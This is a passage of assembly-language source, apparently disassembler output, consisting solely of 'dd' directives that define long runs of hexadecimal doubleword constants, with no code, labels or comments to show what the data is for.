		dd 719DCDDh, 4E557D8h, 302A91Ah, 0A4A0B99Ah, 0B6E67386h
		dd 0A6778E02h, 804D852Dh, 2B03958Ch, 0FBFE009Ah, 436D27C9h
		dd 723D5339h, 5B9980A4h, 8FFFDE2Ch, 107400BCh, 96289155h
		dd 0EE023634h, 25B51211h, 4E6C201h, 0ACD0CFD0h,	8B59F9h
		dd 3ACE2AB6h, 0A8AE58E2h, 0BE871438h, 6CB182E5h, 6047326Bh
		dd 298E00h, 59213F3Bh, 82F1AA28h, 0CA098FEEh, 802515C4h
		dd 0BA9E369Ch, 4ED30F04h, 0B618A7Ah, 3037990Eh,	8B002F8Eh
		dd 0E96B65CAh, 0EA5BAC01h, 33AE64Eh, 9CF1C28Dh,	0C09D1E51h
		dd 0C56036A6h, 0F79E9A1Eh, 5CD67DC0h, 2410E465h, 348D8AEh
		dd 677B19B3h, 438A2BB3h, 0C82DDC82h, 5003464h, 0D016AD75h
		dd 747D923h, 501CE318h,	1527E5h, 0CCEF9B9h, 0B200FAF6h
		dd 72D0C6FBh, 0E90D756Ch, 0A8E69440h, 0BC9292h,	684D79DDh
		dd 7FF93198h, 9BE06300h, 25809D4Bh, 91C30078h, 1C49AF4h
		dd 0B2E6CDF2h, 0D5EA1A60h, 0CCF21h, 8E4689A3h, 45A9BCC3h
		dd 18267937h, 62EECD30h, 0D2C0072h, 5AC147A5h, 76B83A83h
		dd 89B66F3Fh, 80645DF6h, 0EFAABD4Ch, 0FFC0995h,	100016C7h
		dd 8701D13Ch, 27148D07h, 0C060DC1Ah, 0C3D81Ch, 0EFFEB472h
		dd 0E9EB1FFFh, 3C138000h, 5EEBE2Dh, 0FA590026h,	0C446A8FCh
		dd 25FE247Bh, 0CBBAD0Ah, 4248692h, 5180301Ch, 0FF1D9805h
		dd 0B8CFE132h, 3BD28Ch,	0B503411Ah, 87221C5Ah, 80540659h
		dd 8A81C8C3h, 0B01403E0h, 0AD1777A0h, 981548E0h, 0B37CE31Dh
		dd 203D7B80h, 1E9A33E6h, 434CA6CCh, 0CEE4881Eh,	7973BD90h
		dd 33B58401h, 9E04BB1Bh, 0EC8B6530h, 8E1328DFh,	9A8E894h
		dd 7EDB4793h, 0D0378880h, 0E31CD25Ch, 0E4D6D7BDh, 0FE9F3000h
		dd 3A7F165h, 6D6AEBB6h,	83B09E27h, 98017449h, 516C132Bh
		dd 1BF0F4B4h, 5C3B00A3h, 0DE7FC8E2h, 979367Dh, 0A2409002h
		dd 8052D229h, 2C986FA4h, 30E90003h, 7ABF4334h, 0BAFEF5B5h
		dd 239F0A00h, 9D960D3Eh, 1A1000ADh, 0A0FA5D5Ah,	41005017h
		dd 90CD88EBh, 691402h, 6D1DB9BCh, 164B3455h, 8936AD00h
		dd 8C43C54Ah, 596E0074h, 3EEC4276h, 1500497Fh, 618BB877h
		dd 1E7EEDCCh, 40AA0B1Fh, 5D10CA72h, 0E109C84Ah,	55A26A2h
		dd 0E5C77E93h, 79D01437h, 190537Dh, 9554109Ah, 0E89D134Ch
		dd 0AF0087B6h, 47196007h, 96CB76h, 165554B5h, 4FABD8B3h
		dd 0F8B22B3Ch, 0A9668DA0h, 8FCBF30Fh, 0C3CC60E1h, 122107FAh
		dd 6CFF7Ah, 0C91571CCh,	9F004542h, 0F34BC4C6h, 0A9EF86h
		dd 0FC6D0B0Ah, 0D1892E9Bh, 0B0EEBC00h, 0BFA43385h, 8D82295Bh
		dd 10F012F4h, 0D89DF4D8h, 0E2C13117h, 69AA7E02h, 40200686h
		dd 27BEF4h, 0B76C6FDAh,	594F8B99h, 0B4288C1h, 3DDDD305h
		dd 1198A93h, 0F4CD53ABh, 9482DC16h, 7C1D0800h, 6CE79993h
		dd 4880084h, 6170D5AEh,	100712Ah, 3558B4D0h, 0A0CEAFC1h
		dd 0FD4884h, 0ABF86FE4h, 2D8A29BAh, 0FEEA5800h,	87ACD549h
		dd 0BB070289h, 7622930Fh, 70F2B440h, 4E8A0102h,	0C049F069h
		dd 420BFCh, 7ECEC82Eh, 9AE4D160h, 0BE2A8E00h, 569F434Eh
		dd 83BC007Dh, 0F00AE3DBh, 0CB03BB5Dh, 9C455033h, 0F488761Eh
		dd 0D34600C4h, 9AA193Ah, 0EA0E8B53h, 0A0D72336h, 0BF94F9E6h
		dd 0CD8000F5h, 17A2FCD3h, 0C3049C15h, 92B643CCh, 0E9F3A8D0h
		dd 1AB300D6h, 8EB0263h,	18793429h, 47002EFEh, 2FA7D8E3h
		dd 0EDBDC8h, 725CD749h,	80CC997Bh, 78B48500h, 0F2EB5A1Eh
		dd 55063B03h, 184D0ACh,	0E58D42A5h, 4B60DA02h, 0B5C7E40h
		dd 0CCC1023Ch, 5D53BDADh, 2EFB9060h, 0BCA1EA02h, 0E8540A1Eh
		dd 1DD3AA24h, 53BFAB86h, 8DF400B7h, 33E8CD89h, 6B3E1492h
		dd 5F690F64h, 678A0E0h,	2CD6AEFh, 0F6A65AA2h, 0C180CF4Bh
		dd 3854768Dh, 0DA156600h
		dd 0F0D8AACh, 0CB180797h, 0C0A4FB31h, 55E179D3h, 0E07CE600h
		dd 3937F8AAh, 1CF4013Eh, 11C66857h, 2A8FE847h, 7ED6EC00h
		dd 86F207F3h, 5AC83D0Fh, 55881400h, 151C90Dh, 9860ED00h
		dd 86A8BBFFh, 546E00E6h, 599A97CEh, 0C33AC957h,	0F99C8013h
		dd 0C8ECCBA7h, 3E2E0033h, 870A254h, 0BC787A58h,	0BD8FE000h
		dd 517EEC2Dh, 11A4000Ch, 6ECB6D1Fh, 924CD660h, 0AB4A000Eh
		dd 2B616A18h, 9D4800FCh, 0CA9F8750h, 8C7D2043h,	821B9500h
		dd 2A682928h, 124101E1h, 1DA05267h, 0FB48C40Fh,	95247F00h
		dd 2C154BAFh, 2AC70EA7h, 914065BDh, 87E32B8Fh, 5979E400h
		dd 0CE0747Eh, 5477EEFh,	65A8789Eh, 0FC10814Dh, 6813D425h
		dd 6C395100h, 3A3CBA9Ah, 14AC761Ch, 0F51B97E7h,	0C6F6E00h
		dd 0EB0F3066h, 0F61C5907h, 69006B57h, 98A334A6h, 8DECC9h
		dd 4B99D942h, 0B5979EE5h, 0D7C72404h, 0D780F909h, 22BE13h
		dd 70435189h, 59F45ACAh, 2E3DC700h, 0B4B30592h,	464F1373h
		dd 0DE320096h, 1175F3A1h, 51BC2209h, 0DC7B8007h, 1EA3F064h
		dd 0CE6A76CEh, 1C40E8A9h, 0CCD28AA2h, 9599E03h,	88CAA799h
		dd 3B198B82h, 8F814BEDh, 9D7C7AF7h, 619BE43Eh, 0C79ECD03h
		dd 885E83B1h, 0C594E8h,	4C4919B6h, 154AE33Eh, 6CE58C00h
		dd 936F445Ch, 0ACD2287Eh, 0A7F400BCh, 9C3525D9h, 0F00B037h
		dd 0D48D0714h, 30E831h,	5EC143A6h, 0BE152556h, 68051E03h
		dd 140AB5Fh, 0D62CEBB0h, 606DD748h, 44F618A2h, 9B3A3B00h
		dd 0CA49F6C3h, 0B4B10776h, 907C4F17h, 4A28F54Dh, 0AE3A1801h
		dd 14B7E844h, 30A29420h, 0A199C548h, 823D96F6h,	32AF01B5h
		dd 423E8D4Ch, 95591041h, 0C83C1C40h, 3A2033A6h,	0A1A01D08h
		dd 10A0EB44h, 0C5009830h, 1E60B837h, 0FA678034h, 106401F9h
		dd 0AB4CAE26h, 0DA598FE1h, 1C61E155h, 0E6F47A2Ch, 80FB3F24h
		dd 0C5606D00h, 551A2DF4h, 6BBEF300h, 9325EAFAh,	40BF6F8Dh
		dd 3048A500h, 0A806A607h, 74BA2395h, 0AA410658h, 69C0DD57h
		dd 3ABCD900h, 87AE125Ch, 2C182667h, 4BB030DEh, 4826B614h
		dd 0AB187994h, 2789599h, 0AD45738Eh, 0EB801168h, 9E7FE6A6h
		dd 2DA20507h, 43D0D3A8h, 12DB0F67h, 7B548E9h, 0F02369A4h
		dd 9333841Fh, 13A90E3Ch, 5400E81Bh, 10A1D8A3h, 69DD000Dh
		dd 0EB3D6CB6h, 4DFAEE01h, 92C23407h, 25101116h,	0BDB5D0h
		dd 0C42449C0h, 883BDF9Dh, 0C1FA1C03h, 0C02E7781h, 0A36895h
		dd 9EF37D8Ah, 0F7573C89h, 0DC103702h, 606B310Bh, 6C06AA0h
		dd 63038E95h, 0AC57E14Ah, 961AE004h, 30C4A8D9h,	714A0018h
		dd 0E43733C0h, 0BD165FBBh, 0D50F40FFh, 7318004h, 0F85A73F4h
		dd 6317B085h, 7BAF30F9h, 409310B9h, 6880962Ch, 70B6C701h
		dd 0E60F2BC0h, 0CF015183h, 29055829h, 4417DDB4h, 2743C006h
		dd 0AECF006Ah, 2DA75D8Eh, 0EA030A80h, 457BB203h, 84610CB4h
		dd 0CCC114BEh, 189A5088h, 180B8B94h, 4D006F99h,	0D60896F7h
		dd 520AADAEh, 0D8107035h, 0B05D07A2h, 1293257h,	0CD47340Bh
		dd 7C2AE888h, 3BFFF1Dh,	2BC5AB30h, 28C03E4Ch, 0A73816Ah
		dd 0C04CA76Ch, 4D285430h, 0D90EA402h, 33E5Fh, 948E764Bh
		dd 9629B160h, 602748BAh, 8D3AA936h, 38C6B09Ch, 90595161h
		dd 0B80829E7h, 0D60421F8h, 946126h, 0E231A780h,	5E16AAh
		dd 0A2ABA0C8h, 0B7DD3C45h, 520F2700h, 819297ACh, 84E9005Fh
		dd 1458FF0Ch, 54001146h, 30C03355h, 1B84CC6h, 56A04FC8h
		dd 0F9086231h, 0F61BE46Ch, 34B56900h, 0EAF14A7h, 2E4F0548h
		dd 80FE9BBBh, 867581FBh, 8F768900h, 38C5254Bh, 0A77A0Fh
		dd 30A8BCA5h, 0F97FC32Bh, 39EBE200h, 803AA63Bh,	0D51A0720h
		dd 50A1CDC7h, 9CC0A451h, 9DDEEB00h, 0F9112EF6h,	7CE8002Ch
		dd 8A1AEC9Fh, 8800296Dh, 0C2AAD6D3h, 0AEC423h, 0D2C36C82h
		dd 1A1B193Eh, 526D7C00h, 6EF8A2Ah, 46800EDh, 0F15D0C85h
		dd 0F00DBA2h, 11765887h, 5F23Eh, 0AAB9FF5Eh, 81A79AEFh
		dd 0ECB4FD55h, 0A2EE7DE6h, 52C4B200h, 0ED07E526h, 9E59008Fh
		dd 58881DF5h, 2D07560Fh, 0B9056162h, 0C08A23B0h, 0B056B8F1h
		dd 415A101Ch, 57B31C86h, 0B12D7C03h, 378B9025h,	55660594h
		dd 23E938A4h, 2C087F0h,	0A3D92DFh, 0B76F0001h, 0BE37BD25h
		dd 4F60061h, 0A279878Eh, 0DB001B40h, 3C3166A5h,	0E20890Dh
		dd 0C898C269h, 0CDC64F00h, 1F01DE64h, 59B539FAh, 14E87CCBh
		dd 7DBC1D8Bh, 0CC628068h, 278724D4h, 0E4E2F590h, 1800B8B8h
		dd 9EEEA1A4h, 0F2E0F522h, 7DDE034Fh, 2C8F47F7h,	403966F0h
		dd 9EC60E39h, 0C40120C9h, 1696B765h, 0E1E63E20h, 8F4A6180h
		dd 0A5E5C0E7h, 45A9CA00h, 835E1E7Dh, 0C890032h,	47A691E8h
		dd 6600F330h, 3C647005h, 381DBCC9h, 7B074D18h, 80B48051h
		dd 0E484EDACh, 712B8200h, 5A0AD767h, 0C72DE6D6h, 0D39C70A8h
		dd 0BD884048h, 0DB00AA24h, 9E046720h, 1CB0DF6Fh, 83F57D35h
		dd 7F013209h, 7953F190h, 0FEE52D00h, 8330F047h,	80E45Ah
		dd 0F6CFD2E7h, 0E21E6197h, 1A6AD603h, 818F3F7Bh, 45F10F34h
		dd 0F4B98630h, 75DF17FEh, 0CD4F0B7Ah, 0D6735980h, 40070420h
		dd 453A65BBh, 86A321B0h, 618C03C3h, 983DCB07h, 0D06DF9B9h
		dd 96E4E745h, 55E9842Ch, 622CED00h, 269789h, 0DCAB3637h
		dd 0FCE8F690h, 0A51B8703h, 0A3ADB76h, 46F598B0h, 9000B89Ch
		dd 9DD7AC8Eh, 0E407BD86h, 36850BD2h, 1829E660h,	3BAE006Fh
		dd 0C0602DCCh, 0A401CAEEh, 2F639953h, 7E1F50h, 20F670C0h
		dd 5654ACB3h, 3900CFB0h, 0F896DBEh, 7909AF9h, 2087109Dh
		dd 9E402F4Ch, 0AF3BE656h, 0A561B9C0h, 506F8CE2h, 63BC18h
		dd 0DA0D1C03h, 1A64AD2Ah, 24BD9026h, 0E041920Fh, 0FDE424E2h
		dd 0D11200CAh, 9EE8FE5h, 4DE415CEh, 0D9689000h,	73B0CF51h
		dd 0CB710008h, 0F7C89CBBh, 6403B4C5h, 0C3F920E8h, 0F6DE07ABh
		dd 8C153662h, 72007B20h, 5835A89Fh, 6C444h, 0E711240Ah
		dd 7493AFDFh, 0C227BF14h, 802214ACh, 0F4E2249Ch, 22DE500h
		dd 3F615B0Eh, 76DC602Fh, 0EF0ADF02h, 0BA8F894Fh, 94F0F06Ch
		dd 9C661B3Fh, 2945FC95h, 39C0DA6Fh, 0C4969Fh, 304FBADCh
		dd 0EEF483E4h, 28BCA200h, 0A8CB133h, 7F261C6Ah,	55053CDBh
		dd 0DC2DDFh, 668E92B9h,	7007C16h, 0AF5D9CE7h, 819153h
		dd 8CC52361h, 0D55CA8D2h, 0F989E200h, 22A903C9h, 19F72AFDh
		dd 1BBC0EC4h, 0F2C0C35Ch, 0A35F3EB3h, 0E047AA00h, 663C7ED7h
		dd 62750344h, 0F46BB7CAh, 3356A1F0h, 235F39h, 41F00C3Dh
		dd 43FAE2h, 1F9AAD97h, 0F7EB39A8h, 24EE60C0h, 191D4098h
		dd 0D6BB223Bh, 30F3125h, 0FAB08291h, 9E007EDAh,	0B88EB67h
		dd 6C4C1Fh, 0FF504429h,	0E5E7ECABh, 8D9C1900h, 4355A85Dh
		dd 8C270E9Fh, 9D211EE9h, 0CCCDB836h, 0BE002481h, 323BC9EAh
		dd 79EB06A0h, 4190099h,	943F2C1Ah, 91000BF2h, 6D837421h
		dd 0B5AE80h, 359540AAh,	9BABD993h, 0A800FBB0h, 0ED639FE6h
		dd 333DD2h, 56898CBCh, 19464C8Fh, 7E918B00h, 769425E9h
		dd 92FB0061h, 2AD037B4h, 0BC0088BDh, 6331526Ah,	462B2E6h
		dd 0B3CEE20h, 27D58002h, 4BEA9F47h, 0CB38400h, 40BBA16Bh
		dd 2A2B12DEh, 61720015h, 0C6A8CFA6h, 2D331700h,	0EA421132h
		dd 51F89Bh, 700E9C27h, 3768A9B3h, 801EC498h, 16400366h
		dd 1D8C6079h, 0F2C700DAh, 8369AFB0h, 8E1E59F7h,	0AC803345h
		dd 73C8E070h, 853D03B5h
		dd 695F3BEAh, 27D9DDC8h, 0EB868000h, 78C079ACh,	8EC100D3h
		dd 0B6A79503h, 65488B43h, 8FFC3BCAh, 204E4748h,	0C0C9E582h
		dd 9F3200F2h, 0B3D21F79h, 8000EB0Fh, 4E846822h,	4C84BDEh
		dd 90D9376h, 0B05787B8h, 95501744h, 80E08B3Ah, 0E602D2DCh
		dd 0B11E62h, 745CA9B6h,	3699E77Ah, 0A42D3007h, 2A9760B2h
		dd 12EED053h, 701160h, 6CC09A2Dh, 0F87498DEh, 0CC1B4A1Bh
		dd 6D28C120h, 0C0FD04E0h, 0FF6CC811h, 9703FB7Fh, 59E46220h
		dd 0D0F5B864h, 502100F9h, 0B411BF88h, 0EE1B49D8h, 0F838811Ah
		dd 316A36Ch, 79DB8CCFh,	80006857h, 0A286C47Ah, 0BF8931h
		dd 0AEA5CF46h, 7D15EED6h, 143B350Eh, 58EFCAC1h,	0F0204110h
		dd 207F800h, 79930BBBh,	28AA05C7h, 86ABCED6h, 900188Eh
		dd 0BF0CB4F9h, 0D42386h, 0FDCB20EBh, 8D6BBE58h,	78C54100h
		dd 82BC4A70h, 91A0004Dh, 65BD641Bh, 48005FB9h, 279A2ED5h
		dd 7617462h, 7BC28E2Bh,	0C64CA0EAh, 0C93D94DBh,	77AF0BECh
		dd 0A514006Fh, 76C9FABh, 0D0DA29DDh, 32D0063h, 8003C13h
		dd 992778B9h, 188A61C0h, 381B6972h, 6800B291h, 8E346ABAh
		dd 0C89E21h, 5388A1B9h,	0B0D5070Ah, 814A9D03h, 0A1191315h
		dd 8C48F9D2h, 6ED800CBh, 85CC7A6Ah, 0CD667215h,	1C21C808h
		dd 8F6ED12Bh, 0CB803EFDh, 99B34AEDh, 8DA77717h,	0C9D04C02h
		dd 973C4821h, 0BBDA031Bh, 43534D5Bh, 150070AEh,	6CA97607h
		dd 0A23B56h, 5B786B06h,	89AB9562h, 9F132F03h, 291121A4h
		dd 150D330h, 7A676EA5h,	88CA18A4h, 6E00DE30h, 0B32782DCh
		dd 349C28Ah, 91D0A1A8h,	99011128h, 0AC4A7873h, 718039C5h
		dd 1E2BF7ECh, 0A10386FCh, 24AB99FFh, 2817E018h,	4C18C737h
		dd 2E290311h, 6E824903h, 0A4ACA5B0h, 0CE864884h, 211E6008h
		dd 64B066E3h, 4360310Eh, 726CC7B7h, 10114B53h, 345D458h
		dd 3C97D2ABh, 0F1D7C02Ch, 0DBB50060h, 71ECE0CFh, 38000281h
		dd 168F937h, 830C73h, 2DCF5921h, 0A0D782C8h, 0C507DF03h
		dd 0F15444F5h, 4FFC736Eh, 87F2EBh, 0CC510B25h, 0F4130E12h
		dd 0AABC2600h, 9D4DC65Ch, 927FE8h, 0BB346206h, 0BE757C79h
		dd 0E169E200h, 5ABDBA6h, 3B7E6D6h, 21208391h, 1188C553h
		dd 430093FDh, 646E75Fh,	38D4E077h, 3E800C7Ah, 84491152h
		dd 3004B55Eh, 48027FDFh, 6776F980h, 0A16F0723h,	66AE4CEBh
		dd 5F1840F7h, 1E484745h, 0F31900B9h, 6195B8E2h,	0E500E8C2h
		dd 0ED7B49B4h, 2417BC3Ah, 0C788EB7h, 8948A82Bh,	32C9BA18h
		dd 792EE40h, 96212C10h,	1847FDh, 0A1CFCEFAh, 0E3D0EEC0h
		dd 5FB017Fh, 495D8FD3h,	97D7C0C2h, 263846C7h, 0FDBC0093h
		dd 0A5B978A3h, 7973E234h, 4370792h, 10E17190h, 8E862528h
		dd 0B3684206h, 2E88AC18h, 32C6A7Fh, 39C6A7BBh, 2E249100h
		dd 0BD4EDDF4h, 0E6C500A1h, 80DA3FADh, 8803D3C6h, 0C98E0C09h
		dd 40312E36h, 0B33C01EAh, 0F87194B8h, 3D3ABE0Eh, 4380098h
		dd 0EB7E27CCh, 797F01B5h, 8B5948DBh, 9EBA6006h,	3F67F500h
		dd 0DECEC545h, 92760047h, 3E8F26E5h, 0E900FB60h, 0DB9FB28Ah
		dd 0EAA7D58h, 0AFEF04DEh, 9923A7A0h, 1B0105C6h,	0D3C961E2h
		dd 0F3E0B621h, 737EA4h,	81A21C2Bh, 0ED150A3h, 21A6A00h
		dd 75ABF345h, 8E100070h, 0B93406BCh, 0F40217C0h, 0F29ED3C3h
		dd 7597683h, 30899FA3h,	75F1AB49h, 21F86007h, 9580570Ch
		dd 6CB98Eh, 6EBB17A7h, 6BBC989Fh, 31898F1Fh, 0AF81A946h
		dd 50F2E0h, 1A7654DEh, 440547FDh, 2C1DABFCh, 0FBC0B998h
		dd 0E91975A4h, 99D100DBh, 9161B33Dh, 0CE07163Ch, 0F651CD45h
		dd 0FD1D8D80h, 0B0E9009Ch, 0E6204323h, 0E5FC9563h, 3FC55E1Dh
		dd 9D8AD587h, 467670F0h, 65AB3E45h, 0EF7C3C00h,	0ED07E04Ch
		dd 0A0C7851h, 0F9E8C104h, 1DF06690h, 34690082h,	5B6D0F7Bh
		dd 603C42E7h, 6C9B00A4h, 50C373E8h, 3B1C19E2h, 8692956h
		dd 0E07D4532h, 86804FBEh, 353340FDh, 45545E44h,	0D610CE7Eh
		dd 579188FFh, 8976F788h, 842E088Fh, 0DB283D50h,	22907820h
		dd 4031BF23h, 5579A161h, 94747311h, 3F28D729h, 8529E45Ah
		dd 9CD2F323h, 0F021CB04h, 10E11251h, 0BF8952AAh, 59443D08h
		dd 65640CDh, 571E1D71h,	3863F5h, 0BFF9B0A2h, 0EC433F12h
		dd 2BCD004Bh, 9E9E54Ah,	97F207A1h, 0BB721007h, 0FE0A566h
		dd 3AAAC073h, 0ED80EE08h, 0B6133982h, 0E60B890Eh, 80A01B16h
		dd 34B4F818h, 57909Ch, 0A2455203h, 1C44417Ah, 0FBE9D1Eh
		dd 0C6770B80h, 7406E8Ah, 2379794h, 440E0FD3h, 0B9501820h
		dd 1F03053Eh, 5466238Bh, 9077A8B3h, 0F59600D7h,	1AD4A193h
		dd 3B075F38h, 3FB89A42h, 48662052h, 0A4F428h, 43260695h
		dd 65FD8ACEh, 6A0E7B98h, 38C65Dh, 55676B3Dh, 15F4032Fh
		dd 8DF22761h, 0A5B7DA0h, 6AA6960Eh, 94BA20Ch, 1ADAC0DFh
		dd 7A93001Ch, 0E3F6F1CEh, 290942E8h, 0A77CC0h, 0C1A93E64h
		dd 634500E6h, 0F61DD885h, 0E4261ADCh, 0A300CFC5h, 0E2CCF764h
		dd 2E5C1E88h, 0DFBC07E3h, 0A18F8001h, 9005AC2h,	736DEC6Ch
		dd 0EC94428Bh, 5EC83DEFh, 74C56487h, 0AA0D506Ah, 0E4FE4C0Ch
		dd 0F40FBAEAh, 0E17FEE4Ah, 0EFA739A4h, 0EA517CFCh, 0A5241E43h
		dd 0C35A8021h, 0A6E6D5B3h, 0C4944100h, 8722F398h, 0A8E938E8h
		dd 0C89D1479h, 0B039C006h, 7CC2028h, 497359E4h,	9404506Bh
		dd 11009F93h, 28CEEF66h, 0E0732D9h, 4AD072F8h, 0E4C02240h
		dd 3707E760h, 898B7ABFh, 4BF519C0h, 6C81F732h, 0F4CA7103h
		dd 1C0C2444h, 0C8003EECh, 7860EB2Eh, 93E258h, 0CFB1C357h
		dd 360F4D97h, 9EE0AD7Dh, 0D396451Ch, 8B50A640h,	759EAEEh
		dd 0B8E7287Bh, 80518405h, 0F0B9B400h, 3301E5F6h, 0C4D53960h
		dd 0EDC483D3h, 687400C3h, 0A3EA4CF7h, 0DC0095BFh, 0B286CE26h
		dd 0F83297h, 65EE4722h,	896ABD52h, 85E81F7Ah, 0F68D9500h
		dd 0F459A517h, 0A47C0042h, 0FA6FE88Ch, 0C40099A2h, 13271434h
		dd 68B1F7h, 914712D7h, 46CADF7Bh, 0CDC1800h, 32CFC650h
		dd 0AD2B0161h, 0B0BAE3A1h, 0B68209Dh, 19D80A00h, 71EE80ECh
		dd 0ABAF0018h, 8217C85h, 53ECC47Eh, 2BA7D702h, 40A828D0h
		dd 568A3Ch, 32B2340Ah, 0BF27DA24h, 7000D971h, 0DB9897F7h
		dd 180379h, 0D3674C0Eh,	165AA68Ah, 0C15CFB00h, 68D9C886h
		dd 43CF006Ch, 8CEE322Dh, 5803E1ACh, 4A6D0652h, 4007806Ah
		dd 4D5000FDh, 0EB843F8Ah, 6C7F7FE1h, 60B1CE00h,	97E43661h
		dd 0D67E1F09h, 75952A0h, 0A074036Ah, 8EC4F583h,	431F0098h
		dd 0B9C079A3h, 349F122h, 0E3E61CE5h, 9ADCCA18h,	42B0009Ch
		dd 34B75AF3h, 0EC9C8824h, 9198ED18h, 13EA03F4h,	417CA281h
		dd 0EBE32BB8h, 0BC396900h, 7487DB5Eh, 0FCBD0079h, 0A5151676h
		dd 0A900DDB1h, 0E1B3E332h, 14D5FFh, 0BFF145ACh,	0C06D1AEAh
		dd 33B1071h, 68C11209h,	0FDD8B400h, 3065B4A4h, 0B5C2C6BCh
		dd 0C43FF136h, 0FC10240h, 80146FB9h, 3D8FC59Ch,	0F538C776h
		dd 0DAF840FEh, 0CC00B208h, 39275A8Ch, 1FF772h, 2FE2FDE0h
		dd 0C5A69D3Bh, 0CF064500h, 0E4BAF655h, 0B02900B5h, 0B1EDA73Ch
		dd 8009C45Eh, 0D225D6h,	1543E5CCh, 39240729h, 40EB7061h
		dd 8DD70FB6h, 0E496F0Fh, 891600F5h, 60B3B1h, 4AD6CBBDh
		dd 0C23A4688h, 0FD066800h, 0B5B4A234h, 83E900E1h, 0A98D7CC7h
		dd 0C400FB2Ch, 54F8FD57h, 0D463A0h, 0A6E050F1h,	892E985Ch
		dd 0E37EB900h, 94336630h
		dd 4EEE3AB0h, 9743A180h, 4AA4A888h, 7FFF48h, 0BD92CAAh
		dd 406D7Fh, 0B81AFC8Bh,	9557C750h, 5A2D3500h, 79439DBCh
		dd 1BBF0018h, 62751A9Fh, 7E0E5930h, 40DF3328h, 3B84FB72h
		dd 0F8F5FC86h, 99DD008Bh, 6669F171h, 0FE04B328h, 2F3D4CE2h
		dd 51FFFCC0h, 0D1820091h, 35D1AD7h, 0B03EE6Ah, 70F6B5A5h
		dd 0A1488818h, 86761F42h, 0DC579F54h, 932F80ADh, 0C0A38A40h
		dd 12BD1339h, 8B0B8062h, 8274003Bh, 2E18BB16h, 0E8471Bh
		dd 8FFBA096h, 0C809B755h, 821A4A23h, 4837ABC7h,	12C204h
		dd 598FCE24h, 1F8B5A02h, 68B065E0h, 0D064DB3Ch,	49014AB5h
		dd 0BC6891D9h, 346011B7h, 0EF1707ABh, 20FE2F41h, 0D6CCCE65h
		dd 0E3F06000h, 0D398B5C9h, 38A40104h, 46D0894Ah, 0DF75601Dh
		dd 0DE00827Ch, 1A5D7659h, 0F8E0E8F2h, 4AC80F40h, 88F48D39h
		dd 0F8119B02h, 98C86E7Eh, 4B0CBD50h, 0C820E408h, 7D9E0F17h
		dd 0BCE0AFD6h, 5824CC64h, 0FBDFE300h, 295BF250h, 91770051h
		dd 0AD0EC5A8h, 67075C53h, 32613C30h, 7C96B4B0h,	0EB8B009Fh
		dd 7F71596Eh, 0B500FBFEh, 138D85B2h, 0FA426228h, 0E89F267h
		dd 11B3666h, 8273EA05h,	0D0036AA8h, 0A198A0DEh,	0B8BF0040h
		dd 6FC4A27Ah, 0BA00CD55h, 0A60D34D6h, 0A02F0E6Bh, 17AAAFEEh
		dd 1C0169h, 919C106Ch, 0EF732789h, 2F303807h, 310049A4h
		dd 0AC3563h, 0F566E6D9h, 943FDA0Dh, 5D7AFB1Dh, 15A360C0h
		dd 58616Ah, 0F675F483h,	7F577071h, 0BC0F23F0h, 2BA3FA05h
		dd 5AA8034Bh, 0E999E07Ah, 8440085h, 0A740ED8Ch,	58026C69h
		dd 0DF733771h, 3A0040ABh, 7E1E2E0h, 217E9B0Dh, 4A5D02FFh
		dd 325F6040h, 8065B139h, 0EE3CBB78h, 6C0E0Ah, 0D0975303h
		dd 8E67F877h, 0A5AD2700h, 2AF7446Fh, 4FD6244Dh,	1235C5h
		dd 81BA1D9Ch, 0AF24C95Fh, 0A2146001h, 22991FB1h, 0A75AACC0h
		dd 1ECA6Bh, 0C9014840h,	0EAA544B8h, 7577F212h, 95A16001h
		dd 31BA29A4h, 74A649FDh, 0AEBCD402h, 5CE09EE2h,	0F89F6170h
		dd 89F2C7h, 0DA06C143h,	0B3924F88h, 23F59B07h, 34B020F6h
		dd 0D7F8FFh, 5084B7D0h,	179B0C4h, 0CFC0CD01h, 0D8AF8277h
		dd 0FF4132F8h, 1C02D9E8h, 18D92DCh, 0B8F05E73h,	4418C886h
		dd 7E3783Ch, 5FA0F8CBh,	293F7940h, 1C0A091Dh, 6C006DEAh
		dd 0BCFCCE98h, 9C38402Eh, 9EC8B10Fh, 0AFE3EFC0h, 36E2568h
		dd 1DFB5621h, 79D82708h, 0EFA05561h, 0EB0306DBh, 25EDC971h
		dd 63BAD866h, 0B04BAADh, 57027B1Ah, 301CBC27h, 6803586Eh
		dd 0C3963900h, 0FD3F3041h, 88B0062h, 0EA311C66h, 0BE05A489h
		dd 470FABA5h, 4841F809h, 55BD5754h, 0C060B0D2h,	9022000Ch
		dd 0C3EA66F7h, 3207D5ADh, 2C6B5D9Dh, 543F1B50h,	0AF5C07B0h
		dd 50587912h, 4527F087h, 66008B7Dh, 1F8A3BFDh, 20F4C32h
		dd 308C95DEh, 0A884E216h, 0A160D0DBh, 4B2CFDACh, 18000E43h
		dd 8BEB418Ah, 775F1FDAh, 2DCE0002h, 87524A29h, 0E6D22400h
		dd 5EA67E91h, 0BB1E05F3h, 0C0B57838h, 63CBD44h,	9602BF3Dh
		dd 0EE003101h, 0F2FDA473h, 0FC19771Bh, 0D812004Eh, 0CEDE964h
		dd 85000667h, 0B98D9EF6h, 142292C0h, 0FCF95010h, 0CD951Eh
		dd 709D1AE9h, 9E073E40h, 83A6E6B4h, 7A0094CAh, 0FB1FCE8Fh
		dd 3DB00047h, 27CF9E94h, 80005C02h, 4E13AC9Ch, 34D735Ah
		dd 457B7819h, 0E1A0DDD2h, 1C000DF4h, 4127E93Bh,	26513FE2h
		dd 0A94C0FFh, 97D06095h, 69430915h, 1A7E8802h, 0E9802C6Bh
		dd 7712A089h, 740185D1h, 2D30DFDCh, 1A876CCh, 26E12862h
		dd 2C27A279h, 34430094h, 0E8BBDCF6h, 0DE4600DDh, 633B5B0Eh
		dd 1100A4C2h, 908A7E1Eh, 36A7F2h, 7718E991h, 7510C774h
		dd 707C0F24h, 0BFE0A900h, 3B46FA59h, 8B822845h,	0FB269BAEh
		dd 4F377440h, 51760870h, 74F49900h, 0A487C5B0h,	0B6573F1Ah
		dd 9E60FAAEh, 7BE006Bh,	8CF61DD9h, 26A9E404h, 7080835Fh
		dd 8C310DAAh, 0CB71780Fh, 541AE097h, 14395235h,	9443C5EDh
		dd 0B8901D25h, 5372669Fh, 8FD8411Ch, 0C19B49h, 54EDD71Ch
		dd 0C7B800AFh, 74F92A6Eh, 0BDFEF367h, 656DD400h, 0FCB589FBh
		dd 530B0256h, 604DDFBFh, 0B2A7CD60h, 25BD5F07h,	1B907931h
